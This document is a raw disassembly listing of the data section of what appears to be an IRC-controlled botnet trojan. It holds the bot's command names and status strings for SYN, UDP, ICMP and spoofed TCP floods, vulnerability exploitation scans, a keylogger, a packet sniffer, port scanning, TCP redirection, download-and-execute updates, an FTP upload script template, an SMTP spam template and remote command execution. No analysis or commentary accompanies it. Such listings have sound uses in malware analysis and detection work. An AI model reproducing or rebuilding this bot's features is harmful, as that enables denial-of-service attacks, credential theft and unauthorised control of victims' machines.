db 0BBh, 2, 20h
aDownloadingUpd db ' Downloading update from: %s.',0
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40CE55+3D61o
align 10h
dword_434710 dd 28026502h, 62302E31h, 20282029h, 63657865h, 641F6D2Eh
; DATA XREF: sub_40CE55+3D02o
dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh
dd 732520h
unk_43473C db 2 ; DATA XREF: sub_40CE55+3CE9o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 65h ; e
db 78h, 65h, 63h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTExecute db ' Couldn',27h,'t execute file.',0
align 4
unk_434774 db 2 ; DATA XREF: sub_40CE55+3C61o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_14 db ' Failed to start search thread, error: <%d>.',0
align 4
unk_4347C4 db 2 ; DATA XREF: sub_40CE55+3BE7o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingFor_0 db ' Searching for file: %s in: %s.',0
align 4
dword_434808 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: sub_40CE55:loc_41099Eo
; sub_40CE55:loc_4115A5o
dd 29206C1Fh, 0BBBB0220h, 2002h
unk_434828 db 2 ; DATA XREF: sub_40CE55+3B34o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 10h
unk_434860 db 2 ; DATA XREF: sub_40CE55:loc_410967o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0
align 4
unk_4348AC db 2 ; DATA XREF: sub_40CE55+3B08o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_4348F8 db 2 ; DATA XREF: sub_40CE55+3A8Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0
align 4
unk_434938 db 2 ; DATA XREF: sub_40CE55+3A17o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 6Ch, 6Fh, 6Eh
db 65h ; e
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToSta_15 db ' Failed to start clone thread, error: <%d>.',0
unk_434984 db 2 ; DATA XREF: sub_40CE55+39A8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 6Ch, 6Fh, 6Eh
db 65h ; e
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0
align 4
unk_4349C8 db 2 ; DATA XREF: sub_40CE55+3920o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_16 db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_434A14 db 2 ; DATA XREF: sub_40CE55+38A8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0
align 4
dword_434A58 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: sub_40CE55+3813o
dd 2029206Ch, 2BBBB02h
aFailedToSta_17 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_434AA4 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: sub_40CE55+3799o
dd 2029206Ch, 2BBBB02h
aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0
unk_434AE4 db 2 ; DATA XREF: sub_40CE55+3729o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0
align 4
unk_434B38 db 2 ; DATA XREF: sub_40CE55+36BAo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloadingUrl db ' Downloading URL: %s to: %s.',0
align 4
unk_434B78 db 2 ; DATA XREF: sub_40CE55+35EBo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0
unk_434BCC db 2 ; DATA XREF: sub_40CE55+357Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0
align 4
unk_434C1C db 2 ; DATA XREF: sub_40CE55+34F1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_18 db ' Failed to start scan thread, error: <%d>.',0
align 4
unk_434C6C db 2 ; DATA XREF: sub_40CE55+3482o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_40CE55+33FEo
align 4
aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40CE55+3301o
align 4
dword_434CDC dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40CE55+3273o
; sub_40CE55+42B1o
dword_434CE8 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CE55+3214o
; sub_40CE55+4DA6o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_19 db ' Failed to start scan thread, error: <%d>.',0
dword_434D34 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CE55+31A5o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu'
db 'tes using %d threads.',0
align 4
aSequential db 'Sequential',0 ; DATA XREF: sub_40CE55+317Ao
; sub_40CE55+4D0Ao
align 4
aRandom_0 db 'Random',0 ; DATA XREF: sub_40CE55+3173o
; sub_40CE55+4D03o
align 10h
dword_434DC0 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CE55+3035o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_20 db ' Failed to start scan, no IP specified.',0
align 4
dword_434E0C dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CE55+2EECo
; sub_40CE55+4B52o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0
align 10h
dword_434E60 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: sub_40CE55+2EBBo
dd 2029206Ch, 2BBBB02h
aFailedToSta_21 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_434EAC dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: sub_40CE55+2E4Co
dd 2029206Ch, 2BBBB02h
aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40CE55+2D85o
align 10h
unk_434F20 db 2 ; DATA XREF: sub_40CE55+2D70o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_22 db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_434F6C db 2 ; DATA XREF: sub_40CE55+2D05o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 4
dword_434FC8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_40FABDo
dd 2029206Ch, 2BBBB02h
aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0
align 4
dword_435014 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_40CE55+2C5Eo
dd 2029206Ch, 2BBBB02h
aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0
align 10h
dword_435060 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_40CE55+2BE4o
dd 2029206Ch, 2BBBB02h
aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_40CE55+2BD4o
align 10h
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40CE55+2BCDo
dword_4350B8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_40CE55+2B38o
dd 2029206Ch, 2BBBB02h
aInvalidFloodTy db ' Invalid flood type specified.',0
dword_4350F4 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_40F8A5o
dd 2029206Ch, 2BBBB02h
aUploadingFileS db ' Uploading file: %s to: %s failed.',0
dword_435134 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_40CE55+2A49o
dd 2029206Ch, 2BBBB02h
aUploadingFil_0 db ' Uploading file: %s to: %s',0
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40CE55+2A32o
aSS_4 db '-s:%s',0 ; DATA XREF: sub_40CE55+2A1Bo
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40CE55+29FBo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 10h
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40CE55+29C6o
align 10h
dword_4351B0 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_40CE55+2948o
dd 2029206Ch, 2BBBB02h
aFileNotFoundS_ db ' File not found: %s.',0
align 4
aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40CE55+2925o
align 10h
aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40CE55+2902o
align 4
aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40CE55+28EBo
align 4
dword_43520C dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
; DATA XREF: sub_40CE55+28AAo
dd 6D652835h, 36C6961h, 31032E32h, 646F6D35h, 32032029h
dd 353103BBh, 654D2020h, 67617373h, 65732065h, 7420746Eh
db 6Fh
byte_435249 db 20h, 25h, 73h ; DATA XREF: .nsp0:off_4244F4o
dd 2Eh
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40CE55+2836o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
a_: ; DATA XREF: sub_40CE55+279Ao
unicode 0, <_>,0
aUtil_email db 'util.email',0 ; DATA XREF: sub_40CE55+274Bo
align 4
aUsa db 'usa',0 ; DATA XREF: sub_40CE55+2734o
aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40CE55+271Do
align 10h
aPg db 'pg',0 ; DATA XREF: sub_40CE55+2706o
align 4
aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40CE55+26EFo
align 10h
aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40CE55+26D8o
align 10h
aPu db 'pu',0 ; DATA XREF: sub_40CE55+26C1o
align 4
aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40CE55+26AAo
align 10h
aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40CE55+2693o
align 10h
aVuln_start db 'vuln.start',0 ; DATA XREF: sub_40CE55+2665o
align 4
aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40CE55+263Co
align 4
aClone_action db 'clone.action',0 ; DATA XREF: sub_40CE55+2625o
align 4
aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40CE55+260Eo
align 4
aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40CE55+25F7o
align 4
aEnz_ps db 'enz.ps',0 ; DATA XREF: sub_40CE55+25E0o
align 4
aEnz_portscan db 'enz.portscan',0 ; DATA XREF: sub_40CE55+25C9o
align 4
aServer_rd_on db 'server.rd.on',0 ; DATA XREF: sub_40CE55+25B2o
align 4
aServer_redir_0 db 'server.redirect.on',0 ; DATA XREF: sub_40CE55+259Bo
align 10h
aD1 db 'd1',0 ; DATA XREF: sub_40CE55+2584o
align 4
aDownload_fromw db 'download.fromwww',0 ; DATA XREF: sub_40CE55+256Do
align 4
aSy1 db 'sy1',0 ; DATA XREF: sub_40CE55+2556o
aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40CE55+253Fo
align 4
aDs_rm db 'ds.rm',0 ; DATA XREF: sub_40CE55+2528o
align 4
aDs_ack db 'ds.ack',0 ; DATA XREF: sub_40CE55+2511o
align 4
aDs_sy1 db 'ds.sy1',0 ; DATA XREF: sub_40CE55+24FAo
align 4
aClone_start db 'clone.start',0 ; DATA XREF: sub_40CE55+24E3o
aClone_make db 'clone.make',0 ; DATA XREF: sub_40CE55+24CCo
align 4
aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40CE55+24A3o
aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40CE55+248Co
align 10h
aBox_mv db 'box.mv',0 ; DATA XREF: sub_40CE55+2475o
align 4
aBox_rename db 'box.rename',0 ; DATA XREF: sub_40CE55+245Eo
align 4
aBox_ff db 'box.ff',0 ; DATA XREF: sub_40CE55+2447o
align 4
aBox_findfile db 'box.findfile',0 ; DATA XREF: sub_40CE55+2430o
align 4
aBox_e db 'box.e',0 ; DATA XREF: sub_40CE55+2419o
align 4
aBox_execute db 'box.execute',0 ; DATA XREF: sub_40CE55+2402o
aDownload_upz db 'download.upz',0 ; DATA XREF: sub_40CE55+23EBo
align 10h
aDownload_updiz db 'download.updiz',0 ; DATA XREF: sub_40CE55+23D4o
align 10h
aEnz_de db 'enz.de',0 ; DATA XREF: sub_40CE55+23BDo
align 4
aEnz_delay db 'enz.delay',0 ; DATA XREF: sub_40CE55+23A6o
align 4
aEnz_rp db 'enz.rp',0 ; DATA XREF: sub_40CE55+238Fo
align 4
aEnz_repeat db 'enz.repeat',0 ; DATA XREF: sub_40CE55+2378o
align 4
aClone_p db 'clone.p',0 ; DATA XREF: sub_40CE55+2361o
aClone_part db 'clone.part',0 ; DATA XREF: sub_40CE55+234Ao
align 4
aClone_j db 'clone.j',0 ; DATA XREF: sub_40CE55+2333o
aClone_join db 'clone.join',0 ; DATA XREF: sub_40CE55+231Co
align 10h
aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40CE55+2305o
align 4
aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40CE55+22EEo
align 4
aClone_m db 'clone.m',0 ; DATA XREF: sub_40CE55+22D7o
aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40CE55+22C0o
align 4
aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40CE55+22A9o
align 4
aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40CE55+2292o
align 4
aEnz_m db 'enz.m',0 ; DATA XREF: sub_40CE55+227Bo
align 4
aEnz_mode db 'enz.mode',0 ; DATA XREF: sub_40CE55+2264o
align 4
aEnz_cy db 'enz.cy',0 ; DATA XREF: sub_40CE55+224Do
align 10h
aEnz_cycle db 'enz.cycle',0 ; DATA XREF: sub_40CE55+2236o
align 4
aEnz_ac db 'enz.ac',0 ; DATA XREF: sub_40CE55+221Fo
align 4
aEnz_action db 'enz.action',0 ; DATA XREF: sub_40CE55+2208o
align 10h
aEnz_pm db 'enz.pm',0 ; DATA XREF: sub_40CE55+21F1o
align 4
aEnz_privmsg db 'enz.privmsg',0 ; DATA XREF: sub_40CE55+21DAo
aEnz_aa db 'enz.aa',0 ; DATA XREF: sub_40CE55+21C3o
align 4
aEnz_addalias db 'enz.addalias',0 ; DATA XREF: sub_40CE55+21ACo
align 4
aEnz_gh db 'enz.gh',0 ; DATA XREF: sub_40CE55+2183o
align 4
aEnz_gethost db 'enz.gethost',0 ; DATA XREF: sub_40CE55+216Co
dword_435560 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_40EF73o
dd 2029206Ch, 2BBBB02h
aCommandUnknown db ' Command unknown.',0
align 10h
dword_435590 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_40EF6Co
dd 2029206Ch, 2BBBB02h
aNoMessageSpeci db ' No message specified.',0
dword_4355C4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_40EF24o
dd 2029206Ch, 2BBBB02h
aUserListFailed db ' User list failed.',0
dword_4355F4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CE55+20C8o
dd 2029206Ch, 2BBBB02h
aUserListComple db ' User list completed.',0
align 4
dword_435628 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_40EE85o
dd 2029206Ch, 2BBBB02h
aShareListFaile db ' Share list failed.',0
align 4
dword_43565C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CE55+2026o
dd 2029206Ch, 2BBBB02h
aShareListCompl db ' Share list completed.',0
aShare db 'share',0 ; DATA XREF: sub_40CE55+1FBEo
align 4
aDelete db 'delete',0 ; DATA XREF: sub_40CE55+1FA3o
align 10h
aPause db 'pause',0 ; DATA XREF: sub_40CE55+1F70o
align 4
aStop db 'stop',0 ; DATA XREF: sub_40CE55+1F58o
align 10h
dword_4356B0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_40EDA2o
dd 2029206Ch, 2BBBB02h
aServiceListFai db ' Service list failed.',0
align 4
dword_4356E4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CE55+1F43o
dd 2029206Ch, 2BBBB02h
aServiceListCom db ' Service list completed.',0
align 4
dword_43571C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CE55+1EBFo
dd 2029206Ch, 2BBBB02h
aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0
align 4
aBox_net db 'box.net',0 ; DATA XREF: sub_40CE55+1E9Bo
unk_435770 db 2 ; DATA XREF: sub_40CE55+1E5Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToSta_24 db ' Failed to start logging thread, error: <%d>.',0
align 10h
unk_4357C0 db 2 ; DATA XREF: sub_40CE55+1DEFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aKeyLoggerActiv db ' Key logger active.',0
unk_4357F4 db 2 ; DATA XREF: sub_40CE55+1D71o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAlreadyRunni_1 db ' Already running.',0
align 4
unk_435828 db 2 ; DATA XREF: sub_40CE55:loc_40EBA2o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNoKeyLoggerThr db ' No key logger thread found.',0
align 4
unk_435868 db 2 ; DATA XREF: sub_40CE55+1D43o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0
align 4
aBox_keylog db 'box.keylog',0 ; DATA XREF: sub_40CE55+1CE9o
align 4
unk_4358C4 db 2 ; DATA XREF: sub_40CE55:loc_40EB34o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aNoCarnivoreThr db 'No Carnivore thread found.',0
align 10h
unk_435900 db 2 ; DATA XREF: sub_40CE55+1CD5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0
align 4
aOff db 'off',0 ; DATA XREF: sub_40CE55+1CB2o
; sub_40CE55+1D20o
unk_435950 db 2 ; DATA XREF: sub_40CE55+1CA7o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_25 db 'Failed to start sniffer thread, error: <%d>.',0
align 10h
unk_4359A0 db 2 ; DATA XREF: sub_40CE55+1C38o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCarnivorePacke db 'Carnivore packet sniffer active.',0
align 4
unk_4359E4 db 2 ; DATA XREF: sub_40CE55+1BD4o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAlreadyRunni_2 db 'Already running.',0
align 4
aOn db 'on',0 ; DATA XREF: sub_40CE55+1BB4o
; sub_40CE55+1CFEo
align 4
aSniff db 'sniff',0 ; DATA XREF: sub_40CE55+1B9Fo
align 4
aBox_rf db 'box.rf',0 ; DATA XREF: sub_40CE55+1B88o
align 4
aBox_readfile db 'box.readfile',0 ; DATA XREF: sub_40CE55+1B71o
align 4
aBox_cm db 'box.cm',0 ; DATA XREF: sub_40CE55+1B5Ao
align 4
aBox_cmd db 'box.cmd',0 ; DATA XREF: sub_40CE55+1B43o
aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40CE55+1B15o
; sub_40CE55+1B2Co
align 4
aEnz_v db 'enz.v',0 ; DATA XREF: sub_40CE55+1AFEo
align 10h
aEnz_visit db 'enz.visit',0 ; DATA XREF: sub_40CE55+1AE7o
align 4
aBox_fl db 'box.fl',0 ; DATA XREF: sub_40CE55+1AD0o
align 4
aBox_filelist db 'box.filelist',0 ; DATA XREF: sub_40CE55+1AB9o
align 4
aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40CE55+1AA2o
align 4
aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40CE55+1A8Bo
aBox_del db 'box.del',0 ; DATA XREF: sub_40CE55+1A74o
aBox_delete db 'box.delete',0 ; DATA XREF: sub_40CE55+1A5Do
align 4
